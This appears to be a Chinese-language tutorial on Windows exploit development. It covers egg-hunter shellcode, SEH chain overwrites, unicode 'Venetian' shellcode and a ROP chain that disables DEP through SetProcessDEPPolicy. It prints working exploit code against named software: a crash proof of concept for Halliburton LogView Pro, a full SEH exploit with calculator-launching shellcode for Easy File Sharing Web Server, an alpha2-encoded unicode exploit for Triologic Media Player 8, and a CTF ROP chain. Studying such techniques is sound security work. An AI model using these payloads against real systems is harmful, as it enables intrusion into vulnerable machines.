当缓冲区空间不够大时,我们可以利用这种技术,写入一段用来搜索shellcode的代码,搜索真正的shellcode执行。
该技术可以在多个平台使用,只是实现的依赖不同 。
6681CAFF0F or dx,0x0fff ;通过添加循环遍历内存中的页面 42 inc edx ;循环遍历每一个地址 52 push edx ;入栈操作 6A43 push byte +0x43 ;NtDisplayString的系统调用ID 58 pop eax ;出栈操作,其实就是作参数 CD2E int 0x2e ;调用NtDisplayString 3C05 cmp al,0x5 ;对比操作 5A pop edx ;出栈操作 74EF jz 0x0 ;如果ZF标志由CMP指令设置,则存在访问冲突 ;无效页面,回到顶部 B874303077 mov eax,0x7a757368 ;标签(7a 75 73 68 = zush) 8BFA mov edi,edx ;将EDI设置为EDX的当前地址指针以用于SCASD指令 AF scasd ;将EAX中的值与DWORD值进行比较 ;在SCASD比较后相应地设置EFLAGS寄存器,这里比较两次才算真正的发现shellcode 75EA jnz 0x5 AF scasd 75E7 jnz 0x5 FFE7 jmp edi "\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" egg "\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7"
栈溢出经常会导致内存的非法访问(读、写、执行),触发异常。而鉴于Windows的SEH机制,且SEH结构存在栈上。
溢出利用。我们可以覆盖SEH链,每个SEH结构有两个指针,第一个指向下一个SEH结构,第二个指向当前SEH的处理函数。组合利用如下
将指向下一个SEH的指针覆盖为shellcode地址。将指向当前SEH处理函数的指针指向"pop pop ret"操作。
触发SEH。
执行"pop pop ret",将下一条记录的值作为EIP。跳转到shellcode。
覆盖布置
junk + nseh + seh + nops + shellcode #nseh is the shellcode_addr or jmp to shellcode or egg hunter #seh is "pop pop ret"'s addr
除了类似于Linux下的DEP、ALSR、NX、RELOC之外。
##### XOR
##### SAFESEH
##### SEHOP
系统级别地验证SEH链表的完整性(不需要应用程序开启什么)。
SEHOP的全称是Structured Exception Handler Overwrite Protection(结构化
异常处理覆盖保护),SEHOP的核心是检测程序栈中的所有SEH结构链表,特
别是最后一个SEH结构,它拥有一个特殊的异常处理函数指针,指向的是一
个位于NTDLL中的函数。异常处理时,由系统接管分发异常处理,因此上面
描述的检测方案完全可以由系统独立来完成,正因为SEH的这种与应用程序
的无关性,因此应用程序不用做任何改变,你只需要确认你的系统开启了
SEHOP即可。
##### HALLIBURTON LOGVIEW PRO 9.7.5 、10.0.1拒绝服务漏洞
分析过程
长度足够的POC。
file = "payload.cgm" buffer = "a"*0x1000 file = open(file, "w") file.write(buffer) file.close()
在debuger里看到crash的状态
调用栈状态
可以看到我们已经覆盖了SEH
在IDA里溯源,根据调用栈的地址找到最近的调用(在AXCGMV.ocx控件链接库里)。
.text:1018A66D ; sub_1018A310+393j ...
.text:1018A66D mov ecx, [esp+0C8h+var_4]
.text:1018A674 pop edi
.text:1018A675 pop esi
.text:1018A676 pop ebp
.text:1018A677 pop ebx
.text:1018A678 xor ecx, esp
.text:1018A67A call @__security_check_cookie@4 ; __security_check_cookie(x)
.text:1018A67F add esp, 0B8h
.text:1018A685 retn
这里的SafeSeh暂时不会饶过,记下了。。。
##### Easy File Sharing Web Server栈溢出覆盖SEH
漏洞分析
触发
SEH已经被覆盖
偏移量确定后,搜索有用的指令"pop pop set",重新编辑payload
pad = "/.:/" # 不常见,但必须 pad += "a"*53 # 测试字符串 nseh = "\xeb\x14\x90\x90" #jmp 0x14 nop nop seh = "\x58\x88\x01\x10" #0x100194bf pop pop ret nops = "\x90"*20 # nop * 2018 shellcode = "\x31\xC9" # xor ecx,ecx shellcode += "\x51" # push ecx shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 shellcode += "\x54" # push dword ptr esp shellcode += "\xB8\xAD\x23\x86\x7C" # mov eax,0x7c8623AD shellcode += "\xFF\xD0" # call eax exploit = pad + nseh + seh + nops + shellcode exploit = exploit.ljust(3000, 'a')
##### Unicode程序漏洞利用
shellcode不能有截断字符'\x00',但是unicode绝大部分都是在前加'\x00'
实例Triologic Media Player 8
触发漏洞状态。
可以看到,该程序适宜unicode编码的,我们所有的输入也是被转为unicode。
依然测出seh的偏移,这次我们只用2byte的nseh和seh来覆盖,看看unicode模式下是什么样的
padding = "a"*536 nseh = "nn" seh = "ss" exploit = padding + nseh + seh + "a"*4464
可以看到两个"n"和"s"分别扩展为0x006e006e和0x00730073,
###### 什么样的seh和nseh合适?
在ascii编码下,seh是"pop pop ret"指令的地址。地址是有可能满足的。phrack在paper里这样说的
Under Win32 plateforms, a process usually starts at 00401000, this makes
it possible to smash EIP with a return address that looks like :
????:00??00??
mona插件也提供了unicode格式指令的搜索
但是nseh之前是jmp指令(类似"\xeb\xff\x90\x90"),显然在unicode下是办不到的。但是我们可以使用一些无害的指令填充。如下
ASCII ==> ...AAAA...
Unicode ==> ...0041004100410041...
But lets see what this looks like when it gets translated to instructions:
...
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
41 INC ECX
004100 ADD BYTE PTR DS:[ECX],AL
...
So this is very very interesting! It seems like one byte will remain intact and the following byte will
"absorb" both 00's. What we will want to do is replace this second byte with an instruction that, when
executed, will be harmless (FYI 0x004100 is not a harmless instruction). You might call this a unicode NOP
or Venetian Shellcode since canceling out 00's is similar to closing Venetian blinds. There are a couple
of candidates to absorb these 00's (these won't always be suitable):
006E00 ADD BYTE PTR DS:[ESI],CH
006F00 ADD BYTE PTR DS:[EDI],CH
007000 ADD BYTE PTR DS:[EAX],DH
007100 ADD BYTE PTR DS:[ECX],DH
007200 ADD BYTE PTR DS:[EDX],DH
007300 ADD BYTE PTR DS:[EBX],DH
测试一下,(不是所有的"pop pop ret"地址都可用,因为nseh地址之后也会作为指令执行)
padding = "a"*536 nseh = "\x41\x71" seh = "\x41\x4d" exploit = padding + nseh + seh + "a"*4464
可以看到,已经执行了"pop pop ret",且来到了指令"\x41\x00\x71"。
###### shellcode的布置
(1)找一个最接近我们缓冲区的寄存器然后通过增加/减小一些值使得它指向缓冲区的起始地址(也就是 Shellcode的地址)
(2在堆栈找一个指向我们缓冲区的地址, 通过pop送到EIP最终会转去执行我们的Shellcode.
* 这里我们用第一种方式。
```python
align = (
'\x55'
'\x71'
'\x58'
"\x71" #Venetian Padding
"\x05\x20\x11" #add eax,0x11002000 \
"\x71" #Venetian Padding |> +300
"\x2d\x17\x11" #sub eax,0x11001700 /
"\x71" #Venetian Padding
"\x50" #push EAX
"\x71" #Venetian Padding
"\xC3" #ret
)
```
* 这段align会将eax指向我们输入内容中的一段地址,我们只需要计算下偏移,布置好shellcode就可以执行到那里。
* 需要注意的是"\xc3"这条指令在不同语言下的unicode编码方式不一样,在en版下OK,但是zh下会编码为'\xca\x80',导致失败(反正很迷)(我这里是手动改的。。。)[参见这里](https://www.blackhat.com/presentations/win-usa-04/bh-win-04-fx.pdf)
* shellcode的生成借助alpha2编译器。,以下是eax指向shellcode时(弹出计算器)的unicode编码
```c
shellcode = (
"PPYAIAIAIAIAQATAXAZAPA3QADAZAB"
"ARALAYAIAQAIAQAPA5AAAPAZ1AI1AIA"
"IAJ11AIAIAXA58AAPAZABABQI1AIQIA"
"IQI1111AIAJQI1AYAZBABABABAB30AP"
"B944JBP199B1RH2CQQRL1SR4X86MMSDF3LKOHPA"
)
```
如果,我们不用push, ret的方式跳转到shellcode,而是一步步走到shellcode。
注意将eax指向shellcode的首个非null byte。
eax的值,可以由ebp(栈的值,shellcode附近)经过计算(注意unicode对齐)布置到当前地址后一段。
计算偏移,将shellcode布置到eax指向的位置。
填充的"nop",我一般用's',在unicode下就是跳转到下一条指令。(当然也可以用前面提到的nop)
jnc Label1
Label1:
align = ( '\x55' '\x71' '\x58' "\x71" #Venetian Padding "\x05\x40\x11" #add eax,0x11004000 \ "\x71" #Venetian Padding |> +3000 "\x2d\x10\x11" #sub eax,0x11001000 / "\x71" #Venetian Padding )
这次就不要ret,直接平滑地“走到”shellcode。
##### ROP方式绕过DEP
和Linux下的绕过NX类似,圣斗士通过ROP chain来完成。
不同的是,Windows下,我们可以先rop调用WIN API来关闭DEP保护或者重新定义属性,再执行位于stack上的shellcode。可用的WIN API如下
布置的方式也有所不同,由于在Linux上完全是依赖代码片段来完成整个get shell的过程,因此在stack上的都是参数和可执行的地址,而在window上我们一般最终还是需要在stack上执行shellcode。所以需要保持代码段执行完毕后esp指向shellcode,之后ret或者jmp esp都可以完成。
这里的stack的布置,我们只需要找到合适的"pop r32 retn","pushad retn"组合来将需要的片段放在合适的r32中,再通过pushad入栈。此时空间分布如下。注意,如果edi是"pop edi ret",esi是啥就无所谓了。(反正只要能跳到API就行了)
这样,在执行API关闭DEP之后,就可以顺利进入shellcode(仍然在stack中)。
以ISCC 2014的一个pwn为例(shellcode.exe),这里选用的API是SetProcessPolicy。
rop_gadgets = [ 0x7c801d5d, #RETN 0x90909090, #nops 0x7c863e63, # POP EBP # RETN [kernel32.dll] 0x7c862144, # SetProcessDEPPolicy() [kernel32.dll] 0x7c80dfdd, # POP EBX # RETN [kernel32.dll] 0x00000000, # dwFlag 0x7c810afe, # POP EDI # RETN [kernel32.dll] 0x7c810afe, # skip 4 bytes [kernel32.dll] 0x77d23ad9, # PUSHAD # RETN [User32.dll] ]
参考链接